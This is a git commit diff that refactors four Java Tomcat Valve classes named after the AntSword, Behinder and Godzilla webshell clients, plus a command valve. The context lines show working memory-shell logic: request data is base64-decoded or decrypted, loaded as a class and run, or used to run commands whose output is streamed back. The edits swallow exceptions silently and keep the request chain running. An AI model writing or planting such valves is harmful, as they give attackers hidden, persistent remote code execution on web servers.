refactor: simplify valve shell code

This commit is contained in:
ReaJason
2025-02-28 22:40:45 +08:00
parent 688de30965
commit c95a6da29f
4 changed files with 12 additions and 19 deletions
@@ -77,12 +77,10 @@ public class AntSwordValve extends ClassLoader implements Valve {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
this.getNext().invoke(request, response);
return;
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
} catch (Exception ignored) {
}
this.getNext().invoke(request, response);
}
}
@@ -92,13 +92,11 @@ public class BehinderValve extends ClassLoader implements Valve {
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(obj);
} else {
this.getNext().invoke(request, response);
return;
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
} catch (Exception ignored) {
}
this.getNext().invoke(request, response);
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
@@ -52,11 +52,10 @@ public class CommandValve implements Valve {
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
this.getNext().invoke(request, response);
return;
}
} catch (Exception e) {
this.getNext().invoke(request, response);
} catch (Exception ignored) {
}
this.getNext().invoke(request, response);
}
}
@@ -125,12 +125,10 @@ public class GodzillaValve extends ClassLoader implements Valve {
response.getWriter().write(md5.substring(16));
response.flushBuffer();
}
} else {
this.getNext().invoke(request, response);
return;
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
} catch (Exception ignored) {
}
this.getNext().invoke(request, response);
}
}